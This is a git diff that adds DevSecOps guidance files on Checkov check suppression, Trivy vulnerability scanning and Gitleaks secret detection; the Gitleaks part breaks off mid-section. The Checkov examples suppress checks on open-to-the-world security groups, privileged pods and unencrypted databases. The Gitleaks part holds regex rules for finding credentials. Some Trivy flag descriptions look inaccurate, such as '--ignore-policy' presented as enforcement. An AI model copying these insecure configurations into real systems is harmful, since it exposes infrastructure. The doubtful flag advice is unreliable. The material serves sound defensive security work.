"aws_s3_bucket" "public_site" { + # checkov:skip=CKV_AWS_18:Public bucket for static website hosting + bucket = "my-public-website" + acl = "public-read" +} + +# Multiple checks suppression +resource "aws_security_group" "legacy" { + # checkov:skip=CKV_AWS_23:Legacy app requires open access + # checkov:skip=CKV_AWS_24:IPv6 not supported by application + name = "legacy-sg" + + ingress { + from_port = 0 + to_port = 0 + protocol = "-1" + cidr_blocks = ["0.0.0.0/0"] + } +} +``` + +#### Kubernetes + +```yaml +# Annotation-based suppression +apiVersion: v1 +kind: Pod +metadata: + name: legacy-app + annotations: + checkov.io/skip: CKV_K8S_16=Legacy application requires elevated privileges +spec: + containers: + - name: app + image: myapp:1.0 + securityContext: + privileged: true +``` + +#### CloudFormation + +```yaml +Resources: + PublicBucket: + Type: AWS::S3::Bucket + Metadata: + checkov: + skip: + - id: CKV_AWS_18 + comment: "Public bucket for CDN origin" + Properties: + BucketName: my-public-bucket + PublicAccessBlockConfiguration: + BlockPublicAcls: false +``` + +### Configuration File Suppression + +#### .checkov.yaml + +```yaml +# .checkov.yaml (project root) +skip-check: + - CKV_AWS_8 # Ensure CloudWatch log groups encrypted + - CKV_K8S_43 # Image pull policy Always + +# Skip specific paths +skip-path: + - .terraform/ + - node_modules/ + - vendor/ + +# Severity-based soft fail +soft-fail-on: + - LOW + - MEDIUM + +# Hard fail on critical/high only +hard-fail-on: + - CRITICAL + - HIGH +``` + +### CLI-Based Suppression + +```bash +# Skip specific checks +checkov -d ./terraform --skip-check CKV_AWS_8,CKV_AWS_21 + +# Skip entire frameworks +checkov -d ./infra --skip-framework secrets + +# Skip paths +checkov -d ./terraform --skip-path .terraform/ --skip-path vendor/ +``` + +## Suppression Governance + +### Approval Workflow + +```yaml +# .github/workflows/checkov-review.yml +name: Review Checkov Suppressions + +on: + pull_request: + paths: + - '**.tf' + - '**.yaml' + - '**.yml' + +jobs: + check-suppressions: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v3 + + - name: Check for New Suppressions + run: | + # Count suppressions in PR + SUPPRESSIONS=$(git diff origin/main | grep -c "checkov:skip" || true) + + if [ "$SUPPRESSIONS" -gt 0 ]; then + echo "::warning::PR contains $SUPPRESSIONS new suppression(s)" + echo "Security team review required" + # Request review from security team + fi +``` + +### Suppression Documentation Template + +```hcl +resource "aws_security_group" "example" { + # checkov:skip=CKV_AWS_23:TICKET-1234 - Business justification here + # Approved by: security-team@example.com + # Review date: 2024-01-15 + # Expiration: 2024-06-15 (review quarterly) + # + # Compensating controls: + # - WAF rule blocks malicious traffic + # - Application-level authentication required + # - IP allow-listing at load balancer + # - 24/7 monitoring and alerting + + name = "approved-exception" + # ... configuration +} +``` + +## Suppression Best Practices + +### 1. Always Provide Justification + +```hcl +# ❌ BAD: No justification +resource "aws_s3_bucket" "example" { + # checkov:skip=CKV_AWS_18 + bucket = "my-bucket" +} + +# ✅ GOOD: Clear business justification +resource "aws_s3_bucket" "example" { + # checkov:skip=CKV_AWS_18:Public bucket required for static website hosting. + # Content is non-sensitive marketing materials. CloudFront restricts direct access. + bucket = "marketing-website" +} +``` + +### 2. Document Compensating Controls + +```hcl +resource "aws_security_group" "app" { + # checkov:skip=CKV_AWS_23:Office IP range access required for developers + # + # Compensating controls: + # 1. IP range limited to corporate /24 subnet (203.0.113.0/24) + # 2. MFA required for VPN access to corporate network + # 3. Additional application-level authentication + # 4. Session timeout of 15 minutes + # 5. All access logged to SIEM + + ingress { + from_port = 22 + to_port = 22 + protocol = "tcp" + cidr_blocks = ["203.0.113.0/24"] + } +} +``` + +### 3. Set Expiration Dates + +```hcl +resource "aws_instance" "temp" { + # checkov:skip=CKV_AWS_8:Temporary instance for POC + # EXPIRES: 2024-03-31 + # After expiration: Remove or apply encryption + + ami = "ami-12345678" + instance_type = "t3.micro" +} +``` + +### 4. Use Granular Suppressions + +```hcl +# ❌ BAD: Suppress entire file or directory +# checkov:skip=* (Don't do this!) + +# ✅ GOOD: Suppress specific checks on specific resources +resource "aws_s3_bucket" "example" { + # checkov:skip=CKV_AWS_18:Specific reason for this resource only + bucket = "specific-bucket" +} +``` + +## Exception Categories + +### Legitimate Exceptions + +#### 1. Public Resources by Design + +```hcl +resource "aws_s3_bucket" "website" { + # checkov:skip=CKV_AWS_18:Public bucket for static website + # checkov:skip=CKV_AWS_93:Public access required by design + # Content: Marketing materials (non-sensitive) + # Access: Read-only via CloudFront + + bucket = "company-website" +} +``` + +#### 2. Legacy System Constraints + +```yaml +apiVersion: v1 +kind: Pod +metadata: + name: legacy-app + annotations: + checkov.io/skip: CKV_K8S_16=Legacy app built before containers, requires host access + # Migration plan: TICKET-5678 + # Target date: Q2 2024 +spec: + hostNetwork: true + containers: + - name: legacy + image: legacy-app:1.0 +``` + +#### 3. Development/Testing Environments + +```hcl +resource "aws_db_instance" "dev_db" { + # checkov:skip=CKV_AWS_17:Dev environment - backups not required + # checkov:skip=CKV_AWS_61:Dev environment - encryption overhead not needed + # Environment: Non-production only + # Data: Synthetic test data (no PII/PHI) + + identifier = "dev-database" + backup_retention_period = 0 + storage_encrypted = false + + tags = { + Environment = "development" + } +} +``` + +### Temporary Exceptions + +```hcl +resource "aws_rds_cluster" "temp_unencrypted" { + # checkov:skip=CKV_AWS_96:Temporary exception during migration + # TICKET: INFRA-1234 + # EXPIRES: 2024-02-15 + # PLAN: Enable encryption at rest in Phase 2 migration + # OWNER: platform-team@example.com + + cluster_identifier = "migration-temp" + storage_encrypted = false +} +``` + +## Suppression Anti-Patterns + +### ❌ Don't: Blanket Suppressions + +```yaml +# BAD: Suppress all checks +skip-check: + - "*" +``` + +### ❌ Don't: Suppress Without Documentation + +```hcl +# BAD: No explanation +resource "aws_s3_bucket" "example" { + # checkov:skip=CKV_AWS_18 + bucket = "my-bucket" +} +``` + +### ❌ Don't: Permanent Suppressions for Production + +```hcl +# BAD: Permanent suppression of critical security control +resource "aws_rds_cluster" "prod" { + # checkov:skip=CKV_AWS_96:Too expensive + # ^ This is unacceptable for production! + + cluster_identifier = "production-db" + storage_encrypted = false +} +``` + +### ❌ Don't: Suppress High/Critical Without Review + +```hcl +# DANGEROUS: Suppressing critical finding without security review +resource "aws_security_group" "prod" { + # checkov:skip=CKV_AWS_23:Need access from anywhere + # ^ Requires security team approval! + + ingress { + cidr_blocks = ["0.0.0.0/0"] + } +} +``` + +## Monitoring Suppressions + +### Track Suppression Metrics + +```bash +# Count suppressions by type +grep -r "checkov:skip" ./terraform | \ + sed 's/.*checkov:skip=\([^:]*\).*/\1/' | \ + sort | uniq -c | sort -rn + +# Find suppressions without justification +grep -r "checkov:skip=" ./terraform | \ + grep -v "checkov:skip=.*:.*" +``` + +### Suppression Audit Report + +```python +#!/usr/bin/env python3 +"""Generate suppression audit report.""" + +import re +import sys +from pathlib import Path +from datetime import datetime + +def find_suppressions(directory): + """Find all Checkov suppressions.""" + suppressions = [] + + for file_path in Path(directory).rglob('*.tf'): + with open(file_path) as f: + content = f.read() + + # Find suppressions + matches = re.findall( + r'#\s*checkov:skip=([^:]+):(.*)', + content + ) + + for check_id, reason in matches: + suppressions.append({ + 'file': str(file_path), + 'check_id': check_id.strip(), + 'reason': reason.strip() + }) + + return suppressions + +def generate_report(suppressions): + """Generate markdown report.""" + print("# Checkov Suppression Audit Report") + print(f"\nGenerated: {datetime.now().isoformat()}") + print(f"\nTotal Suppressions: {len(suppressions)}\n") + + print("## Suppressions by Check") + check_counts = {} + for s in suppressions: + check_counts[s['check_id']] = check_counts.get(s['check_id'], 0) + 1 + + for check_id, count in sorted(check_counts.items(), key=lambda x: -x[1]): + print(f"- {check_id}: {count}") + + print("\n## All Suppressions") + for s in suppressions: + print(f"\n### {s['file']}") + print(f"**Check:** {s['check_id']}") + print(f"**Reason:** {s['reason'] or '(no justification provided)'}") + +if __name__ == '__main__': + directory = sys.argv[1] if len(sys.argv) > 1 else './terraform' + suppressions = find_suppressions(directory) + generate_report(suppressions) +``` + +## Quarterly Review Process + +1. **Generate Suppression Report**: List all active suppressions +2. **Review Expirations**: Check for expired temporary suppressions +3. **Validate Justifications**: Ensure reasons still apply +4. **Verify Compensating Controls**: Confirm controls are still in place +5. **Update or Remove**: Update suppressions or fix underlying issues + +## Additional Resources + +- [Checkov Suppression Documentation](https://www.checkov.io/2.Basics/Suppressing%20and%20Skipping%20Policies.html) +- [Security Exception Management Best Practices](https://owasp.org/www-community/Security_Exception_Management) diff --git a/skills/devsecops/sca-trivy/SKILL.md b/skills/devsecops/sca-trivy/SKILL.md new file mode 100644 index 0000000..5a716ed --- /dev/null +++ b/skills/devsecops/sca-trivy/SKILL.md @@ -0,0 +1,457 @@ +--- +name: sca-trivy +description: > + Software Composition Analysis (SCA) and container vulnerability scanning using Aqua Trivy + for identifying CVE vulnerabilities in dependencies, container images, IaC misconfigurations, + and license compliance risks. Use when: (1) Scanning container images and filesystems for + vulnerabilities and misconfigurations, (2) Analyzing dependencies for known CVEs across + multiple languages (Go, Python, Node.js, Java, etc.), (3) Detecting IaC security issues + in Terraform, Kubernetes, Dockerfile, (4) Integrating vulnerability scanning into CI/CD + pipelines with SARIF output, (5) Generating Software Bill of Materials (SBOM) in CycloneDX + or SPDX format, (6) Prioritizing remediation by CVSS score and exploitability. +version: 0.1.0 +maintainer: SirAppSec +category: devsecops +tags: [sca, trivy, container-security, vulnerability-scanning, sbom, iac-security, dependency-scanning, cvss] +frameworks: [OWASP, CWE, NIST, PCI-DSS, SOC2] +dependencies: + tools: [trivy, docker] +references: + - https://aquasecurity.github.io/trivy/ + - https://owasp.org/www-project-dependency-check/ + - https://nvd.nist.gov/ + - https://www.cisa.gov/sbom +--- + +# Software Composition Analysis with Trivy + +## Overview + +Trivy is a comprehensive security scanner for containers, filesystems, and git repositories. It detects +vulnerabilities (CVEs) in OS packages and application dependencies, IaC misconfigurations, exposed secrets, +and software licenses. This skill provides workflows for vulnerability scanning, SBOM generation, CI/CD +integration, and remediation prioritization aligned with CVSS and OWASP standards. + +## Quick Start + +Scan a container image for vulnerabilities: + +```bash +# Install Trivy +brew install trivy # macOS +# or: apt-get install trivy # Debian/Ubuntu +# or: docker pull aquasec/trivy:latest + +# Scan container image +trivy image nginx:latest + +# Scan local filesystem for dependencies +trivy fs . + +# Scan IaC files for misconfigurations +trivy config . + +# Generate SBOM +trivy image --format cyclonedx --output sbom.json nginx:latest +``` + +## Core Workflows + +### Workflow 1: Container Image Security Assessment + +Progress: +[ ] 1. Identify target container image (repository:tag) +[ ] 2. Run comprehensive Trivy scan with `trivy image ` +[ ] 3. Analyze vulnerability findings by severity (CRITICAL, HIGH, MEDIUM, LOW) +[ ] 4. Map CVE findings to CWE categories and OWASP references +[ ] 5. Check for available patches and updated base images +[ ] 6. Generate prioritized remediation report with upgrade recommendations + +Work through each step systematically. Check off completed items. + +### Workflow 2: Dependency Vulnerability Scanning + +Scan project dependencies for known vulnerabilities: + +```bash +# Scan filesystem for all dependencies +trivy fs --severity CRITICAL,HIGH . + +# Scan specific package manifest +trivy fs --scanners vuln package-lock.json + +# Generate JSON report for analysis +trivy fs --format json --output trivy-report.json . + +# Generate SARIF for GitHub/GitLab integration +trivy fs --format sarif --output trivy.sarif . +``` + +For each vulnerability: +1. Review CVE details and CVSS score +2. Check if fixed version is available +3. Consult `references/remediation_guide.md` for language-specific guidance +4. Update dependency to patched version +5. Re-scan to validate fix + +### Workflow 3: Infrastructure as Code Security + +Detect misconfigurations in IaC files: + +```bash +# Scan Terraform configurations +trivy config ./terraform --severity CRITICAL,HIGH + +# Scan Kubernetes manifests +trivy config ./k8s --severity CRITICAL,HIGH + +# Scan Dockerfile best practices +trivy config --file-patterns dockerfile:Dockerfile . + +# Generate report with remediation guidance +trivy config --format json --output iac-findings.json . +``` + +Review findings by category: +- **Security**: Authentication, authorization, encryption +- **Compliance**: CIS benchmarks, security standards +- **Best Practices**: Resource limits, immutability, least privilege + +### Workflow 4: CI/CD Pipeline Integration + +#### GitHub Actions + +```yaml +name: Trivy Security Scan +on: [push, pull_request] + +jobs: + scan: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v3 + + - name: Run Trivy vulnerability scanner + uses: aquasecurity/trivy-action@master + with: + scan-type: 'fs' + scan-ref: '.' + format: 'sarif' + output: 'trivy-results.sarif' + severity: 'CRITICAL,HIGH' + + - name: Upload results to GitHub Security + uses: github/codeql-action/upload-sarif@v2 + with: + sarif_file: 'trivy-results.sarif' +``` + +#### GitLab CI + +```yaml +trivy-scan: + stage: test + image: aquasec/trivy:latest + script: + - trivy fs --exit-code 1 --severity CRITICAL,HIGH --format json --output trivy-report.json . + artifacts: + reports: + dependency_scanning: trivy-report.json + when: always + allow_failure: false +``` + +Use bundled templates from `assets/ci_integration/` for additional platforms. + +### Workflow 5: SBOM Generation + +Generate Software Bill of Materials for supply chain transparency: + +```bash +# Generate CycloneDX SBOM +trivy image --format cyclonedx --output sbom-cyclonedx.json nginx:latest + +# Generate SPDX SBOM +trivy image --format spdx-json --output sbom-spdx.json nginx:latest + +# SBOM for filesystem/project +trivy fs --format cyclonedx --output project-sbom.json . +``` + +SBOM use cases: +- **Vulnerability tracking**: Monitor dependencies for new CVEs +- **License compliance**: Identify license obligations and risks +- **Supply chain security**: Verify component provenance +- **Regulatory compliance**: Meet CISA SBOM requirements + +## Security Considerations + +### Sensitive Data Handling + +- **Registry credentials**: Use environment variables or credential helpers, never hardcode +- **Scan reports**: Contain vulnerability details and package versions - treat as sensitive +- **SBOM files**: May reveal internal architecture - control access appropriately +- **Secret scanning**: Enable with `--scanners secret` to detect exposed credentials in images + +### Access Control + +- **Container registry access**: Requires pull permissions for image scanning +- **Filesystem access**: Read permissions for dependency manifests and IaC files +- **CI/CD integration**: Secure API tokens and registry credentials in secrets management +- **Report storage**: Restrict access to vulnerability reports and SBOM artifacts + +### Audit Logging + +Log the following for compliance and incident response: +- Scan execution timestamps and scope (image, filesystem, repository) +- Vulnerability counts by severity level +- Policy violations and blocking decisions +- SBOM generation and distribution events +- Remediation actions and version updates + +### Compliance Requirements + +- **PCI-DSS 6.2**: Ensure system components protected from known vulnerabilities +- **SOC2 CC7.1**: Detect and act upon changes that could affect security +- **NIST 800-53 SI-2**: Flaw remediation and vulnerability scanning +- **CIS Benchmarks**: Container and Kubernetes security hardening +- **OWASP Top 10 A06**: Vulnerable and Outdated Components +- **CWE-1104**: Use of Unmaintained Third-Party Components + +## Bundled Resources + +### Scripts (`scripts/`) + +- `trivy_scan.py` - Comprehensive scanning with JSON/SARIF output and severity filtering +- `sbom_generator.py` - SBOM generation with CycloneDX and SPDX format support +- `vulnerability_report.py` - Parse Trivy output and generate remediation reports with CVSS scores +- `baseline_manager.py` - Baseline creation for tracking new vulnerabilities only + +### References (`references/`) + +- `scanner_types.md` - Detailed guide for vulnerability, misconfiguration, secret, and license scanning +- `remediation_guide.md` - Language and ecosystem-specific remediation strategies +- `cvss_prioritization.md` - CVSS score interpretation and vulnerability prioritization framework +- `iac_checks.md` - Complete list of IaC security checks with CIS benchmark mappings + +### Assets (`assets/`) + +- `trivy.yaml` - Custom Trivy configuration with security policies and ignore rules +- `ci_integration/github-actions.yml` - Complete GitHub Actions workflow with security gates +- `ci_integration/gitlab-ci.yml` - Complete GitLab CI pipeline with dependency scanning +- `ci_integration/jenkins.groovy` - Jenkins pipeline with Trivy integration +- `policy_template.rego` - OPA policy template for custom vulnerability policies + +## Common Patterns + +### Pattern 1: Multi-Stage Security Scanning + +Comprehensive security assessment combining multiple scan types: + +```bash +# 1. Scan container image for vulnerabilities +trivy image --severity CRITICAL,HIGH myapp:latest + +# 2. Scan IaC for misconfigurations +trivy config ./infrastructure --severity CRITICAL,HIGH + +# 3. Scan filesystem for dependency vulnerabilities +trivy fs --severity CRITICAL,HIGH ./app + +# 4. Scan for exposed secrets +trivy fs --scanners secret ./app + +# 5. Generate comprehensive SBOM +trivy image --format cyclonedx --output sbom.json myapp:latest +``` + +### Pattern 2: Baseline Vulnerability Tracking + +Implement baseline scanning to track only new vulnerabilities: + +```bash +# Initial scan - create baseline +trivy image --format json --output baseline.json nginx:latest + +# Subsequent scans - detect new vulnerabilities +trivy image --format json --output current.json nginx:latest +./scripts/baseline_manager.py --baseline baseline.json --current current.json +``` + +### Pattern 3: License Compliance Scanning + +Detect license compliance risks: + +```bash +# Scan for license information +trivy image --scanners license --format json --output licenses.json myapp:latest + +# Filter by license type +trivy image --scanners license --severity HIGH,CRITICAL myapp:latest +``` + +Review findings: +- **High Risk**: GPL, AGPL (strong copyleft) +- **Medium Risk**: LGPL, MPL (weak copyleft) +- **Low Risk**: Apache, MIT, BSD (permissive) + +### Pattern 4: Custom Policy Enforcement + +Apply custom security policies with OPA: + +```bash +# Create Rego policy in assets/policy_template.rego +# Deny images with CRITICAL vulnerabilities or outdated packages + +# Run scan with policy enforcement +trivy image --format json --output scan.json myapp:latest +trivy image --ignore-policy assets/policy_template.rego myapp:latest +``` + +## Integration Points + +### CI/CD Integration + +- **GitHub Actions**: Native `aquasecurity/trivy-action` with SARIF upload to Security tab +- **GitLab CI**: Dependency scanning report format for Security Dashboard +- **Jenkins**: Docker-based scanning with JUnit XML report generation +- **CircleCI**: Docker executor with artifact storage +- **Azure Pipelines**: Task-based integration with results publishing + +### Container Platforms + +- **Docker**: Image scanning before push to registry +- **Kubernetes**: Admission controllers with trivy-operator for runtime scanning +- **Harbor**: Built-in Trivy integration for registry scanning +- **AWS ECR**: Scan images on push with enhanced scanning +- **Google Artifact Registry**: Vulnerability scanning integration + +### Security Tools Ecosystem + +- **SIEM Integration**: Export JSON findings to Splunk, ELK, or Datadog +- **Vulnerability Management**: Import SARIF/JSON into Snyk, Qualys, or Rapid7 +- **SBOM Tools**: CycloneDX and SPDX compatibility with dependency-track and GUAC +- **Policy Enforcement**: OPA/Rego integration for custom policy as code + +## Troubleshooting + +### Issue: High False Positive Rate + +**Symptoms**: Many vulnerabilities reported that don't apply to your use case + +**Solution**: +1. Use `.trivyignore` file to suppress specific CVEs with justification +2. Filter by exploitability: `trivy image --ignore-unfixed myapp:latest` +3. Apply severity filtering: `--severity CRITICAL,HIGH` +4. Review vendor-specific security advisories for false positive validation +5. See `references/false_positives.md` for common patterns + +### Issue: Performance Issues on Large Images + +**Symptoms**: Scans taking excessive time or high memory usage + +**Solution**: +1. Use cached DB: `trivy image --cache-dir /path/to/cache myapp:latest` +2. Skip unnecessary scanners: `--scanners vuln` (exclude config, secret) +3. Use offline mode after initial DB download: `--offline-scan` +4. Increase timeout: `--timeout 30m` +5. Scan specific layers: `--removed-pkgs` to exclude removed packages + +### Issue: Missing Vulnerabilities for Specific Languages + +**Symptoms**: Expected CVEs not detected in application dependencies + +**Solution**: +1. Verify language support: Check supported languages and file patterns +2. Ensure dependency manifests are present (package.json, go.mod, requirements.txt) +3. Include lock files for accurate version detection +4. For compiled binaries, scan source code separately +5. Consult `references/scanner_types.md` for language-specific requirements + +### Issue: Registry Authentication Failures + +**Symptoms**: Unable to scan private container images + +**Solution**: +```bash +# Use Docker credential helper +docker login registry.example.com +trivy image registry.example.com/private/image:tag + +# Or use environment variables +export TRIVY_USERNAME=user +export TRIVY_PASSWORD=pass +trivy image registry.example.com/private/image:tag + +# Or use credential file +trivy image --username user --password pass registry.example.com/private/image:tag +``` + +## Advanced Configuration + +### Custom Trivy Configuration + +Create `trivy.yaml` configuration file: + +```yaml +# trivy.yaml +vulnerability: + type: os,library +severity: CRITICAL,HIGH,MEDIUM +ignorefile: .trivyignore +ignore-unfixed: false +skip-files: + - "test/**" + - "**/node_modules/**" + +cache: + dir: /tmp/trivy-cache + +db: + repository: ghcr.io/aquasecurity/trivy-db:latest + +output: + format: json + severity-sort: true +``` + +Use with: `trivy image --config trivy.yaml myapp:latest` + +### Trivy Ignore File + +Create `.trivyignore` to suppress specific CVEs: + +``` +# .trivyignore +# False positive - patched in vendor fork +CVE-0000-12345 + +# Risk accepted by security team - JIRA-1234 +CVE-0000-67890 + +# No fix available, compensating controls in place +CVE-0000-11111 +``` + +### Offline Air-Gapped Scanning + +For air-gapped environments: + +```bash +# On internet-connected machine: +trivy image --download-db-only --cache-dir /path/to/db + +# Transfer cache to air-gapped environment + +# On air-gapped machine: +trivy image --skip-db-update --cache-dir /path/to/db --offline-scan myapp:latest +``` + +## References + +- [Trivy Official Documentation](https://aquasecurity.github.io/trivy/) +- [OWASP Dependency Check](https://owasp.org/www-project-dependency-check/) +- [NVD - National Vulnerability Database](https://nvd.nist.gov/) +- [CISA SBOM Guidelines](https://www.cisa.gov/sbom) +- [CWE-1104: Use of Unmaintained Third-Party Components](https://cwe.mitre.org/data/definitions/1104.html) +- [OWASP Top 10 - Vulnerable and Outdated Components](https://owasp.org/Top10/) diff --git a/skills/devsecops/secrets-gitleaks/SKILL.md b/skills/devsecops/secrets-gitleaks/SKILL.md new file mode 100644 index 0000000..d65e6bf --- /dev/null +++ b/skills/devsecops/secrets-gitleaks/SKILL.md @@ -0,0 +1,502 @@ +--- +name: secrets-gitleaks +description: > + Hardcoded secret detection and prevention in git repositories and codebases using Gitleaks. + Identifies passwords, API keys, tokens, and credentials through regex-based pattern matching + and entropy analysis. Use when: (1) Scanning repositories for exposed secrets and credentials, + (2) Implementing pre-commit hooks to prevent secret leakage, (3) Integrating secret detection + into CI/CD pipelines, (4) Auditing codebases for compliance violations (PCI-DSS, SOC2, GDPR), + (5) Establishing baseline secret detection and tracking new exposures, (6) Remediating + historical secret exposures in git history. +version: 0.1.0 +maintainer: SirAppSec +category: devsecops +tags: [secrets, gitleaks, secret-scanning, devsecops, ci-cd, credentials, api-keys, compliance] +frameworks: [OWASP, CWE, PCI-DSS, SOC2, GDPR] +dependencies: + tools: [gitleaks, git] +references: + - https://github.com/gitleaks/gitleaks + - https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/ + - https://cwe.mitre.org/data/definitions/798.html +--- + +# Secrets Detection with Gitleaks + +## Overview + +Gitleaks is a secret detection tool that scans git repositories, files, and directories for hardcoded credentials including passwords, API keys, tokens, and other sensitive information. It uses regex-based pattern matching combined with Shannon entropy analysis to identify secrets that could lead to unauthorized access if exposed. + +This skill provides comprehensive guidance for integrating Gitleaks into DevSecOps workflows, from pre-commit hooks to CI/CD pipelines, with emphasis on preventing secret leakage before code reaches production. + +## Quick Start + +Scan current repository for secrets: + +```bash +# Install gitleaks +brew install gitleaks # macOS +# or: docker pull zricethezav/gitleaks:latest + +# Scan current git repository +gitleaks detect -v + +# Scan specific directory +gitleaks detect --source /path/to/code -v + +# Generate report +gitleaks detect --report-path gitleaks-report.json --report-format json +``` + +## Core Workflows + +### 1. Repository Scanning + +Scan existing repositories to identify exposed secrets: + +```bash +# Full repository scan with verbose output +gitleaks detect -v --source /path/to/repo + +# Scan with custom configuration +gitleaks detect --config .gitleaks.toml -v + +# Generate JSON report for further analysis +gitleaks detect --report-path findings.json --report-format json + +# Generate SARIF report for GitHub/GitLab integration +gitleaks detect --report-path findings.sarif --report-format sarif +``` + +**When to use**: Initial security audit, compliance checks, incident response. + +### 2. Pre-Commit Hook Protection + +Prevent secrets from being committed in the first place: + +```bash +# Install pre-commit hook (run in repository root) +cat << 'EOF' > .git/hooks/pre-commit +#!/bin/sh +gitleaks protect --verbose --redact --staged +EOF + +chmod +x .git/hooks/pre-commit +``` + +Use the bundled script for automated hook installation: + +```bash +./scripts/install_precommit.sh +``` + +**When to use**: Developer workstation setup, team onboarding, mandatory security controls. + +### 3. CI/CD Pipeline Integration + +#### GitHub Actions + +```yaml +name: gitleaks +on: [push, pull_request] +jobs: + scan: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v3 + with: + fetch-depth: 0 + - uses: gitleaks/gitleaks-action@v2 + env: + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} +``` + +#### GitLab CI + +```yaml +gitleaks: + image: zricethezav/gitleaks:latest + stage: test + script: + - gitleaks detect --report-path gitleaks.json --report-format json --verbose + artifacts: + paths: + - gitleaks.json + when: always + allow_failure: false +``` + +**When to use**: Automated security gates, pull request checks, release validation. + +### 4. Baseline and Incremental Scanning + +Establish security baseline and track only new secrets: + +```bash +# Create initial baseline +gitleaks detect --report-path baseline.json --report-format json + +# Subsequent scans detect only new secrets +gitleaks detect --baseline-path baseline.json --report-path new-findings.json -v +``` + +**When to use**: Legacy codebase remediation, phased rollout, compliance tracking. + +### 5. Configuration Customization + +Create custom `.gitleaks.toml` configuration: + +```toml +title = "Custom Gitleaks Configuration" + +[extend] +# Extend default config with custom rules +useDefault = true + +[[rules]] +id = "custom-api-key" +description = "Custom API Key Pattern" +regex = '''(?i)(custom_api_key|custom_secret)[\s]*[=:][\s]*['"][a-zA-Z0-9]{32,}['"]''' +tags = ["api-key", "custom"] + +[allowlist] +description = "Global allowlist" +paths = [ + '''\.md$''', # Ignore markdown files + '''test/fixtures/''', # Ignore test fixtures +] +stopwords = [ + '''EXAMPLE''', # Ignore example keys + '''PLACEHOLDER''', +] +``` + +Use bundled configuration templates in `assets/`: +- `assets/config-strict.toml` - Strict detection (low false negatives) +- `assets/config-balanced.toml` - Balanced detection (recommended) +- `assets/config-custom.toml` - Template for custom rules + +**When to use**: Reducing false positives, adding proprietary secret patterns, organizational standards. + +## Security Considerations + +### Sensitive Data Handling + +- **Secret Redaction**: Always use `--redact` flag in logs and reports to prevent accidental secret exposure +- **Report Security**: Gitleaks reports contain detected secrets - treat as confidential, encrypt at rest +- **Git History**: Detected secrets in git history require complete removal using tools like `git filter-repo` or `BFG Repo-Cleaner` +- **Credential Rotation**: All exposed secrets must be rotated immediately, even if removed from code + +### Access Control + +- **CI/CD Permissions**: Gitleaks scans require read access to repository content and git history +- **Report Access**: Restrict access to scan reports containing sensitive findings +- **Baseline Files**: Baseline JSON files contain secret metadata - protect with same controls as findings + +### Audit Logging + +Log the following for compliance and incident response: +- Scan execution timestamps and scope (repository, branch, commit range) +- Number and types of secrets detected +- Remediation actions taken (credential rotation, commit history cleanup) +- False positive classifications and allowlist updates + +### Compliance Requirements + +- **PCI-DSS 3.2.1**: Requirement 6.5.3 - Prevent hardcoded credentials in payment applications +- **SOC2**: CC6.1 - Logical access controls prevent unauthorized credential exposure +- **GDPR**: Article 32 - Appropriate security measures for processing personal data credentials +- **CWE-798**: Use of Hard-coded Credentials +- **CWE-259**: Use of Hard-coded Password +- **OWASP A07:2021**: Identification and Authentication Failures + +## Bundled Resources + +### Scripts (`scripts/`) + +- `install_precommit.sh` - Automated pre-commit hook installation with configuration prompts +- `scan_and_report.py` - Comprehensive scanning with multiple output formats and severity classification +- `baseline_manager.py` - Baseline creation, comparison, and incremental scan management + +### References (`references/`) + +- `detection_rules.md` - Comprehensive list of built-in Gitleaks detection rules with CWE mappings +- `remediation_guide.md` - Step-by-step secret remediation procedures including git history cleanup +- `false_positives.md` - Common false positive patterns and allowlist configuration strategies +- `compliance_mapping.md` - Detailed mapping to PCI-DSS, SOC2, GDPR, and OWASP requirements + +### Assets (`assets/`) + +- `config-strict.toml` - High-sensitivity configuration (maximum detection) +- `config-balanced.toml` - Production-ready balanced configuration +- `config-custom.toml` - Template with inline documentation for custom rules +- `precommit-config.yaml` - Pre-commit framework configuration +- `github-action.yml` - Complete GitHub Actions workflow template +- `gitlab-ci.yml` - Complete GitLab CI pipeline template + +## Common Patterns + +### Pattern 1: Initial Repository Audit + +First-time secret scanning for security assessment: + +```bash +# 1. Clone repository with full history +git clone --mirror https://github.com/org/repo.git audit-repo +cd audit-repo + +# 2. Run comprehensive scan +gitleaks detect --report-path audit-report.json --report-format json -v + +# 3. Generate human-readable report +./scripts/scan_and_report.py --input audit-report.json --format markdown --output audit-report.md + +# 4. Review findings and classify false positives +# Edit .gitleaks.toml to add allowlist entries + +# 5. Create baseline for future scans +cp audit-report.json baseline.json +``` + +### Pattern 2: Developer Workstation Setup + +Protect developers from accidental secret commits: + +```bash +# 1. Install gitleaks locally +brew install gitleaks # macOS +# or use package manager for your OS + +# 2. Install pre-commit hook +./scripts/install_precommit.sh + +# 3. Test hook with dummy commit +echo "api_key = 'EXAMPLE_KEY_12345'" > test.txt +git add test.txt +git commit -m "test" # Should be blocked by gitleaks + +# 4. Clean up test +git reset HEAD~1 +rm test.txt +``` + +### Pattern 3: CI/CD Pipeline with Baseline + +Progressive secret detection in continuous integration: + +```bash +# In CI pipeline script: + +# 1. Check if baseline exists +if [ -f ".gitleaks-baseline.json" ]; then + # Incremental scan - only new secrets + gitleaks detect \ + --baseline-path .gitleaks-baseline.json \ + --report-path new-findings.json \ + --report-format json \ + --exit-code 1 # Fail on new secrets +else + # Initial scan - create baseline + gitleaks detect \ + --report-path .gitleaks-baseline.json \ + --report-format json \ + --exit-code 0 # Don't fail on first scan +fi + +# 2. Generate SARIF for GitHub Security tab +if [ -f "new-findings.json" ] && [ -s "new-findings.json" ]; then + gitleaks detect \ + --baseline-path .gitleaks-baseline.json \ + --report-path results.sarif \ + --report-format sarif +fi +``` + +### Pattern 4: Custom Rule Development + +Add organization-specific secret patterns: + +```toml +# Add to .gitleaks.toml + +[[rules]] +id = "acme-corp-api-key" +description = "ACME Corp Internal API Key" +regex = '''(?i)acme[_-]?api[_-]?key[\s]*[=:][\s]*['"]?([a-f0-9]{40})['"]?''' +secretGroup = 1 +tags = ["api-key", "acme-internal"] + +[[rules]] +id = "acme-corp-database-password" +description = "ACME Corp Database Password Format" +regex = '''(?i)(db_pass|database_password)[\s]*[=:][\s]*['"]([A-Z][a-z0-9@#$%]{15,})['"]''' +secretGroup = 2 +tags = ["password", "database", "acme-internal"] + +# Test custom rules +# gitleaks detect --config .gitleaks.toml -v +``` + +## Integration Points + +### CI/CD Integration + +- **GitHub Actions**: Use `gitleaks/gitleaks-action@v2` for native integration with Security tab 